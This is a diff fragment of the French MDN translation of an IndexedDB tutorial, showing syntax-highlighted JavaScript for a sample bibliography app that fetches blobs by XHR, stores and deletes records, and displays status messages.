+     <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Il n'est pas possible de définir un lien direct vers</span></span> <code class="language-js"><span class="comment token">
+</span>     <span class="comment token"> // </span></code>le <span id="result_box" lang="fr"><span>blob pour fournir un moyen de le télécharger directement.</span></span> <code class="language-js"><span class="comment token">
+</span>      <span class="keyword token">if</span> <span class="punctuation token">(</span>blob<span class="punctuation token">.</span>type <span class="operator token">==</span> <span class="string token">'text/html'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">var</span> reader <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FileReader</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        reader<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          <span class="keyword token">var</span> html <span class="operator token">=</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+          iframe<span class="punctuation token">.</span><span class="function token">load<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+            $<span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">contents<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">find<span class="punctuation token">(</span></span><span class="string token">'html'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">html<span class="punctuation token">(</span></span>html<span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        reader<span class="punctuation token">.</span><span class="function token">readAsText<span class="punctuation token">(</span></span>blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>blob<span class="punctuation token">.</span>type<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'image/'</span><span class="punctuation token">)</span> <span class="operator token">==</span> <span class="number token">0</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        iframe<span class="punctuation token">.</span><span class="function token">load<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          <span class="keyword token">var</span> img_id <span class="operator token">=</span> <span class="string token">'image-'</span> <span class="operator token">+</span> key<span class="punctuation token">;</span>
+          <span class="keyword token">var</span> img <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'&lt;img id="'</span> <span class="operator token">+</span> img_id <span class="operator token">+</span> <span class="string token">'"/&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+          $<span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">contents<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">find<span class="punctuation token">(</span></span><span class="string token">'body'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">html<span class="punctuation token">(</span></span>img<span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="keyword token">var</span> obj_url <span class="operator token">=</span> window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">createObjectURL<span class="punctuation token">(</span></span>blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+          $<span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">contents<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">find<span class="punctuation token">(</span></span><span class="string token">'#'</span> <span class="operator token">+</span> img_id<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">attr<span class="punctuation token">(</span></span><span class="string token">'src'</span><span class="punctuation token">,</span> obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span>
+          window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">revokeObjectURL<span class="punctuation token">(</span></span>obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>blob<span class="punctuation token">.</span>type <span class="operator token">==</span> <span class="string token">'application/pdf'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        $<span class="punctuation token">(</span><span class="string token">'*'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">css<span class="punctuation token">(</span></span><span class="string token">'cursor'</span><span class="punctuation token">,</span> <span class="string token">'wait'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">var</span> obj_url <span class="operator token">=</span> window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">createObjectURL<span class="punctuation token">(</span></span>blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        iframe<span class="punctuation token">.</span><span class="function token">load<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          $<span class="punctuation token">(</span><span class="string token">'*'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">css<span class="punctuation token">(</span></span><span class="string token">'cursor'</span><span class="punctuation token">,</span> <span class="string token">'auto'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        iframe<span class="punctuation token">.</span><span class="function token">attr<span class="punctuation token">(</span></span><span class="string token">'src'</span><span class="punctuation token">,</span> obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">revokeObjectURL<span class="punctuation token">(</span></span>obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+        iframe<span class="punctuation token">.</span><span class="function token">load<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          $<span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">contents<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">find<span class="punctuation token">(</span></span><span class="string token">'body'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">html<span class="punctuation token">(</span></span><span class="string token">"No view available"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * @paramètre {string} <em>(chaîne de caractères)</em> biblioid <em>(identifiant bibliothèque)</em>
+   * @paramètre {string} <em>(chaîne de caractères) </em>title <em>(titre)</em>
+   * @paramètre {number} <em>(nombre)</em> year <em>(année)</em>
+   * @paramètre {string} <em>(chaîne de caractères) </em>url : l'URL de l'image à télécharger et stocker sur le pc
+   *   IndexedDB database. La ressource derrière cette URL assujettie à
+   *   "Same origin policy", donc pour que cette méthode fonctionne, l'URL doit venir de
+   *   la même origine que le site web/l'application sur lequel le code est déployé.
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">addPublicationFromUrl<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">,</span> title<span class="punctuation token">,</span> year<span class="punctuation token">,</span> url<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"addPublicationFromUrl:"</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> xhr <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">XMLHttpRequest</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    xhr<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">'GET'</span><span class="punctuation token">,</span> url<span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+   <span class="comment token"> // </span></code> <span class="short_text" id="result_box" lang="fr"><span>Définir le type de réponse recherché à "blob<code>"</code></span></span> <code class="language-js"><span class="comment token">
+</span>   <span class="comment token"> // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+</span>    xhr<span class="punctuation token">.</span>responseType <span class="operator token">=</span> <span class="string token">'blob'</span><span class="punctuation token">;</span>
+    xhr<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                           <span class="keyword token">if</span> <span class="punctuation token">(</span>xhr<span class="punctuation token">.</span>status <span class="operator token">==</span> <span class="number token">200</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                             console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"Blob retrieved"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+                             <span class="keyword token">var</span> blob <span class="operator token">=</span> xhr<span class="punctuation token">.</span>response<span class="punctuation token">;</span>
+                             console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"Blob:"</span><span class="punctuation token">,</span> blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+                             <span class="function token">addPublication<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">,</span> title<span class="punctuation token">,</span> year<span class="punctuation token">,</span> blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+                           <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+                             console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"addPublicationFromUrl error:"</span><span class="punctuation token">,</span>
+                                           xhr<span class="punctuation token">.</span>responseText<span class="punctuation token">,</span> xhr<span class="punctuation token">.</span>status<span class="punctuation token">)</span><span class="punctuation token">;</span>
+                           <span class="punctuation token">}</span>
+                         <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    xhr<span class="punctuation token">.</span><span class="function token">send<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+   <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Nous ne pouvons pas utiliser jQuery ici car, à partir de jQuery 1.8.3<code>,</code> </span></span><code class="language-js"><span class="comment token">
+</span>   <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>le nouveau "blob"</span></span> <code class="language-js"><span class="comment token">responseType n'est pas géré.
+</span>   <span class="comment token"> // http://bugs.jquery.com/ticket/11461
+</span>   <span class="comment token"> // http://bugs.jquery.com/ticket/7248
+</span>   <span class="comment token"> // $.ajax({
+</span>   <span class="comment token"> //   url: url,
+</span>   <span class="comment token"> //   type: 'GET',
+</span>   <span class="comment token"> //   xhrFields: { responseType: 'blob' },
+</span>   <span class="comment token"> //   success: function(data, textStatus, jqXHR) {
+</span>   <span class="comment token"> //     console.log("Blob retrieved");
+</span>   <span class="comment token"> //     console.log("Blob:", data);
+</span>   <span class="comment token"> //     // addPublication(biblioid, title, year, data);
+</span>   <span class="comment token"> //   },
+</span>   <span class="comment token"> //   error: function(jqXHR, textStatus, errorThrown) {
+</span>   <span class="comment token"> //     console.error(errorThrown);
+</span>   <span class="comment token"> //     displayActionFailure("Error during blob retrieval");
+</span>   <span class="comment token"> //   }
+</span>   <span class="comment token"> // });
+</span>  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * @paramètre {string} <em>(chaîne de caractères)</em> biblioid <em>(identifiant bibliothèque)</em>
+   * @paramètre {string} <em>(chaîne de caractères) </em>title <em>(titre)</em>
+   * @paramètre {number} <em>(nombre)</em> year <em>(année)</em>
+   * @paramètre {Blob=} blob
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">addPublication<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">,</span> title<span class="punctuation token">,</span> year<span class="punctuation token">,</span> blob<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"addPublication arguments:"</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span> biblioid<span class="punctuation token">:</span> biblioid<span class="punctuation token">,</span> title<span class="punctuation token">:</span> title<span class="punctuation token">,</span> year<span class="punctuation token">:</span> year <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> blob <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">'undefined'</span><span class="punctuation token">)</span>
+      obj<span class="punctuation token">.</span>blob <span class="operator token">=</span> blob<span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> store <span class="operator token">=</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>DB_STORE_NAME<span class="punctuation token">,</span> <span class="string token">'readwrite'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> req<span class="punctuation token">;</span>
+    <span class="keyword token">try</span> <span class="punctuation token">{</span>
+      req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="function token">add<span class="punctuation token">(</span></span>obj<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">e</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>name <span class="operator token">==</span> <span class="string token">'DataCloneError'</span><span class="punctuation token">)</span>
+        <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="string token">"This engine doesn't know how to clone a Blob, "</span> <span class="operator token">+</span>
+                             <span class="string token">"use Firefox"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">throw</span> e<span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"Insertion in DB successful"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayActionSuccess<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayPubList<span class="punctuation token">(</span></span>store<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"addPublication error"</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">.</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * @paramètre {string} <em>(chaîne de caractères)</em> biblioid <em>(identifiant bibliothèque)</em>
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">deletePublicationFromBib<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"deletePublication:"</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> store <span class="operator token">=</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>DB_STORE_NAME<span class="punctuation token">,</span> <span class="string token">'readwrite'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="function token">index<span class="punctuation token">(</span></span><span class="string token">'biblioid'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span>biblioid<span class="punctuation token">)</span><span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result <span class="operator token">==</span> <span class="string token">'undefined'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="string token">"No matching record found"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">return</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+      <span class="function token">deletePublication<span class="punctuation token">(</span></span>evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">.</span>id<span class="punctuation token">,</span> store<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"deletePublicationFromBib:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>errorCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * @paramètre {number} <em>(nombre)</em> key <em>(clé)</em>
+   * @paramètre {IDBObjectStore=} store <em>(objet de stockage)</em>
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">deletePublication<span class="punctuation token">(</span></span>key<span class="punctuation token">,</span> store<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"deletePublication:"</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> store <span class="operator token">==</span> <span class="string token">'undefined'</span><span class="punctuation token">)</span>
+      store <span class="operator token">=</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>DB_STORE_NAME<span class="punctuation token">,</span> <span class="string token">'readwrite'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+   <span class="comment token"> // Selon les spécifications http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+</span>   <span class="comment token"> // le résultat de l'objet de stockage, l'algorithme de l'opération de suppression est
+</span>   <span class="comment token"> // "undefined" (<em>indéfini</em>), donc il n'est pas possible de savoir si certains enregistrements
+</span>   <span class="comment token"> // ont été effectivement supprimés en lisant le résultat de la requête.
+</span>    <span class="keyword token">var</span> req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> record <span class="operator token">=</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"record:"</span><span class="punctuation token">,</span> record<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> record <span class="operator token">==</span> <span class="string token">'undefined'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="string token">"No matching record found"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">return</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+     <span class="comment token"> // Attention: </span></code> <span id="result_box" lang="fr"><span>La même clé utilisée pour la création doit être transmise pour</span></span> <code class="language-js"><span class="comment token">
+</span>     <span class="comment token"> // la suppression. </span></code> <span id="result_box" lang="fr"><span>Si la clé était un nombre pour la création, elle <code>doit</code></span></span><code class="language-js"><span class="comment token">
+</span>     <span class="comment token"> // être un nombre pour la suppression.
+</span>      req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="keyword token">delete</span><span class="punctuation token">(</span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"evt:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"evt.target:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"evt.target.result:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"delete successful"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="function token">displayActionSuccess<span class="punctuation token">(</span></span><span class="string token">"Deletion successful"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="function token">displayPubList<span class="punctuation token">(</span></span>store<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span><span class="punctuation token">;</span>
+      req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"deletePublication:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>errorCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"deletePublication:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>errorCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">displayActionSuccess<span class="punctuation token">(</span></span>msg<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    msg <span class="operator token">=</span> <span class="keyword token">typeof</span> msg <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">'undefined'</span> <span class="operator token">?</span> <span class="string token">"Success: "</span> <span class="operator token">+</span> msg <span class="punctuation token">:</span> <span class="string token">"Success"</span><span class="punctuation token">;</span>
+    $<span class="punctuation token">(</span><span class="string token">'#msg'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">html<span class="punctuation token">(</span></span><span class="string token">'&lt;span class="action-success"&gt;'</span> <span class="operator token">+</span> msg <span class="operator token">+</span> <span class="string token">'&lt;/span&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">function</span> <span class="function token">displayActionFailure<span class="punctuation token">(</span></span>msg<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    msg <span class="operator token">=</span> <span class="keyword token">typeof</span> msg <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">'undefined'</span> <span class="operator token">?</span> <span class="string token">"Failure: "</span> <span class="operator token">+</span> msg <span class="punctuation token">:</span> <span class="string token">"Failure"</span><span class="punctuation token">;</span>
+    $<span class="punctuation token">(</span><span class="string token">'#msg'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">html<span class="punctuation token">(</span></span><span class="string token">'&lt;span class="action-failure"&gt;'</span> <span class="operator token">+</span> msg <span class="operator token">+</span> <span class="string token">'&lt;/span&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">function</span> <span class="function token">resetActionStatus<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"resetActionStatus ..."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    $<span class="punctuation token">(</span><span class="string token">'#msg'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">empty<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"resetActionStatus DONE"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">addEventListeners<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"addEventListeners"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    $<span class="punctuation token">(</span><span class="string token">'#register-form-reset'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">click<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">resetActionStatus<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    $<span class="punctuation token">(</span><span class="string token">'#add-button'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">click<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"add ..."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> title <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-title'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">val<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> biblioid <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-biblioid'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">val<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>title <span class="operator token">||</span> <span class="operator token">!</span>biblioid<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="string token">"Required field(s) missing"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">return</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+      <span class="keyword token">var</span> year <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-year'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">val<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>year <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+       <span class="comment token"> // Le mieux est d'utiliser Number.isInteger si le moteur a EcmaScript 6
+</span>        <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="function token">isNaN<span class="punctuation token">(</span></span>year<span class="punctuation token">)</span><span class="punctuation token">)</span>  <span class="punctuation token">{</span>
+          <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="string token">"Invalid year"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="keyword token">return</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span>
